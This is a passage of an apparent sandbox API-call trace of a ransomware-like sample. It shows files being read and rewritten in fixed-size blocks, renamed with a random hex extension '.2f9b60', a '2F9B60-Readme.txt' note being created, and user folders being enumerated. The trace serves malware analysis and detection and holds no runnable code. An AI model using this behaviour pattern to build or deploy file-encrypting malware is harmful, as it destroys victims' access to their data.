hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d337a0 [0183.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d337d0 [0183.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33800 [0183.887] NtQuerySystemTime (in: CurrentTime=0x45d0fa00 | out: CurrentTime=0x45d0fa00*=132462177889858000) returned 0x0 [0183.887] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x11b72757 [0183.887] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x938908d [0183.887] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x394c9d67 [0183.887] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x382a3e89 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x509ff162 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x7c69f44c [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x593c3488 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x1347d157 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x3e5697c8 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x12c1775e [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0xd079a1a [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x26c620c0 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x60307fc1 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x77db2373 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x7d090774 [0183.888] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x39bbe1fb [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x2a0098aa [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x5b815acd [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x2db63345 [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x2a9e8f89 [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x1ad6ccbd [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x50adff66 [0183.895] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x790c7786 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x73ce259b [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x177ca7bc [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x1ad6e839 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x7735e0c6 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x1a4a5380 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x5f4a0075 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x65dc618e [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x997bd02 [0183.896] RtlRandomEx (in: Seed=0x45d0f9f0 | out: Seed=0x45d0f9f0) returned 0x710613b0 [0183.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d338f0 [0183.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0183.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33920 [0183.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0183.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33800) returned 1 [0183.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d337a0) returned 1 [0183.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fcc1b0 [0183.908] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.908] ReadFile (in: hFile=0x4f0, lpBuffer=0x41fcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesRead=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0184.032] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0184.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0184.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d337a0 [0184.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d337a0) returned 1 [0184.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9f0f0 [0184.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d337a0 [0184.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33950 [0184.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33950) returned 1 [0184.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0184.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0184.035] WriteFile (in: hFile=0x4f0, lpBuffer=0x41f9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41f9f0f0*, lpNumberOfBytesWritten=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0204.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9f0f0) returned 1 [0204.770] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x29f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.770] ReadFile (in: hFile=0x4f0, lpBuffer=0x41fcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesRead=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0204.790] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x29f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0204.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0204.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0204.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0204.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0204.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a800 [0204.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a800) returned 1 [0204.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.794] WriteFile (in: hFile=0x4f0, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0214.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0214.860] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x53a834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.860] ReadFile (in: hFile=0x4f0, lpBuffer=0x41fcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesRead=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0214.861] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x53a834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0214.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0214.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0214.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0214.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0214.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0214.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9440) returned 1 [0214.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0214.865] WriteFile (in: hFile=0x4f0, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x45d0fa60, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x45d0fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0229.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0229.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430e9280 [0229.656] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0229.656] WriteFile (in: hFile=0x4f0, lpBuffer=0x1ceb81b0*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x45d0fb10, lpOverlapped=0x0 | out: lpBuffer=0x1ceb81b0*, lpNumberOfBytesWritten=0x45d0fb10*=0x164, lpOverlapped=0x0) returned 1 [0233.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0233.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0233.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6590 [0233.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6590) returned 1 [0233.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431adb60 [0233.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6590 [0233.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66e0 [0233.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66e0) returned 1 [0233.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0233.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x4310e870 [0233.634] sprintf (in: _Dest=0x4310e870, _Format="%c%c" | out: _Dest="41") returned 2 [0233.634] sprintf (in: _Dest=0x4310e872, _Format="%c%c" | out: _Dest="e8") returned 2 [0233.634] sprintf (in: _Dest=0x4310e874, _Format="%c%c" | out: _Dest="51") returned 2 [0233.634] sprintf (in: _Dest=0x4310e876, _Format="%c%c" | out: _Dest="bb") returned 2 [0233.634] sprintf (in: _Dest=0x4310e878, _Format="%c%c" | out: _Dest="22") returned 2 [0233.634] sprintf (in: _Dest=0x4310e87a, _Format="%c%c" | out: _Dest="4f") returned 2 [0233.635] sprintf (in: _Dest=0x4310e87c, _Format="%c%c" | out: _Dest="57") returned 2 [0233.635] sprintf (in: _Dest=0x4310e87e, _Format="%c%c" | out: _Dest="48") returned 2 [0233.635] sprintf (in: _Dest=0x4310e880, _Format="%c%c" | out: _Dest="ea") returned 2 [0233.635] sprintf (in: _Dest=0x4310e882, _Format="%c%c" | out: _Dest="21") returned 2 [0233.635] sprintf (in: _Dest=0x4310e884, _Format="%c%c" | out: _Dest="d0") returned 2 [0233.635] sprintf (in: _Dest=0x4310e886, _Format="%c%c" | out: _Dest="69") returned 2 [0233.635] sprintf (in: _Dest=0x4310e888, _Format="%c%c" | out: _Dest="32") returned 2 [0233.635] sprintf (in: _Dest=0x4310e88a, _Format="%c%c" | out: _Dest="42") returned 2 [0233.635] sprintf (in: _Dest=0x4310e88c, _Format="%c%c" | out: _Dest="3d") returned 2 [0233.635] sprintf (in: _Dest=0x4310e88e, _Format="%c%c" | out: _Dest="d3") returned 2 [0233.635] sprintf (in: _Dest=0x4310e890, _Format="%c%c" | out: _Dest="e2") returned 2 [0233.635] sprintf (in: _Dest=0x4310e892, _Format="%c%c" | out: _Dest="4f") returned 2 [0233.635] sprintf (in: _Dest=0x4310e894, _Format="%c%c" | out: _Dest="5f") returned 2 [0233.635] sprintf (in: _Dest=0x4310e896, _Format="%c%c" | out: _Dest="59") returned 2 [0233.635] sprintf (in: _Dest=0x4310e898, _Format="%c%c" | out: _Dest="ec") returned 2 [0233.635] sprintf (in: _Dest=0x4310e89a, _Format="%c%c" | out: _Dest="51") returned 2 [0233.635] sprintf (in: _Dest=0x4310e89c, _Format="%c%c" | out: _Dest="db") returned 2 [0233.635] sprintf (in: _Dest=0x4310e89e, _Format="%c%c" | out: _Dest="43") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8a0, _Format="%c%c" | out: _Dest="80") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8a4, _Format="%c%c" | out: _Dest="c6") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8a6, _Format="%c%c" | out: _Dest="2f") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8a8, _Format="%c%c" | out: _Dest="47") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8aa, _Format="%c%c" | out: _Dest="79") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8ac, _Format="%c%c" | out: _Dest="7b") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8ae, _Format="%c%c" | out: _Dest="50") returned 2 [0233.635] sprintf (in: _Dest=0x4310e8b0, _Format="%c%c" | out: _Dest="4e") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8b2, _Format="%c%c" | out: _Dest="87") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8b4, _Format="%c%c" | out: _Dest="00") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8b6, _Format="%c%c" | out: _Dest="8e") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8b8, _Format="%c%c" | out: _Dest="fd") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8ba, _Format="%c%c" | out: _Dest="11") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8bc, _Format="%c%c" | out: _Dest="7e") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8be, _Format="%c%c" | out: _Dest="bf") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8c0, _Format="%c%c" | out: _Dest="d9") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8c2, _Format="%c%c" | out: _Dest="c2") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8c4, _Format="%c%c" | out: _Dest="0d") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8c6, _Format="%c%c" | out: _Dest="63") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8c8, _Format="%c%c" | out: _Dest="a2") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8ca, _Format="%c%c" | out: _Dest="53") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8cc, _Format="%c%c" | out: _Dest="a5") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8ce, _Format="%c%c" | out: _Dest="91") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8d0, _Format="%c%c" | out: _Dest="dd") returned 2 [0233.636] sprintf (in: _Dest=0x4310e8d2, _Format="%c%c" | out: _Dest="3f") returned 2 [0233.636] RtlInitAnsiString (in: DestinationString=0x45d0fb88, SourceString="41e851bb224f5748ea21d06932423dd3e24f5f59ec51db43807dc62f47797b504e87008efd117ebfd9c20d63a253a591dd3f" | out: DestinationString="41e851bb224f5748ea21d06932423dd3e24f5f59ec51db43807dc62f47797b504e87008efd117ebfd9c20d63a253a591dd3f") [0233.636] RtlAnsiStringToUnicodeString (in: DestinationString=0x45d0fb58, SourceString="41e851bb224f5748ea21d06932423dd3e24f5f59ec51db43807dc62f47797b504e87008efd117ebfd9c20d63a253a591dd3f", AllocateDestinationString=1 | out: DestinationString="41e851bb224f5748ea21d06932423dd3e24f5f59ec51db43807dc62f47797b504e87008efd117ebfd9c20d63a253a591dd3f") returned 0x0 [0233.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43115c20 [0233.637] wcscat (in: _Dest=0x202785f0, _Source="41e851bb224f5748ea21d0693" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693" [0233.637] wcscat (in: _Dest=0x202785f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693.2f9b60" [0233.637] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693.2f9b60", NtPathName=0x45d0fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\41e851bb224f5748ea21d0693.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x43115b40 [0237.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115b40) returned 1 [0237.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307a0d0) returned 1 [0237.304] NtQueryInformationFile (in: FileHandle=0x4f0, IoStatusBlock=0x45d0fb98, FileInformation=0x45d0fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x45d0fb98, FileInformation=0x45d0fba8) returned 0x0 [0237.304] NtSetInformationFile (FileHandle=0x4f0, IoStatusBlock=0x45d0fb98, FileInformation=0x45d0fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202785f0) returned 1 [0237.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115c20) returned 1 [0237.307] FlushFileBuffers (hFile=0x4f0) returned 1 [0238.204] CloseHandle (hObject=0x4f0) returned 1 [0241.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64fd0 [0241.375] wcscpy (in: _Dest=0x1cd64fd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0241.375] wcscat (in: _Dest=0x1cd64fd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt" [0241.375] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\2f9b60-readme.txt")) returned 0xffffffff [0241.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe64 [0244.054] WriteFile (hFile=0xe64, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x45d0fa50, lpOverlapped=0x0) Thread: id = 3464 os_tid = 0x15dc [0180.236] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20 [0182.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0182.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0182.188] GetLastError () returned 0x5 [0182.188] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0182.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfcc0) returned 1 Thread: id = 3465 os_tid = 0x1618 [0180.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202795b0 [0180.241] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" [0180.241] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\" [0180.241] wcscat (in: _Dest=0x202795b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*" [0180.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0180.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0182.810] wcscmp (_String1=".", _String2=".") returned 0 [0182.810] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.810] wcscmp (_String1="..", _String2=".") returned 1 [0182.810] wcscmp (_String1="..", _String2="..") returned 0 [0182.810] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0182.810] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0182.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0182.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0182.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 Thread: id = 3466 os_tid = 0x1b08 [0180.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c36d50 [0180.252] wcscpy (in: _Dest=0x42c36d50, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0180.252] wcscat (in: 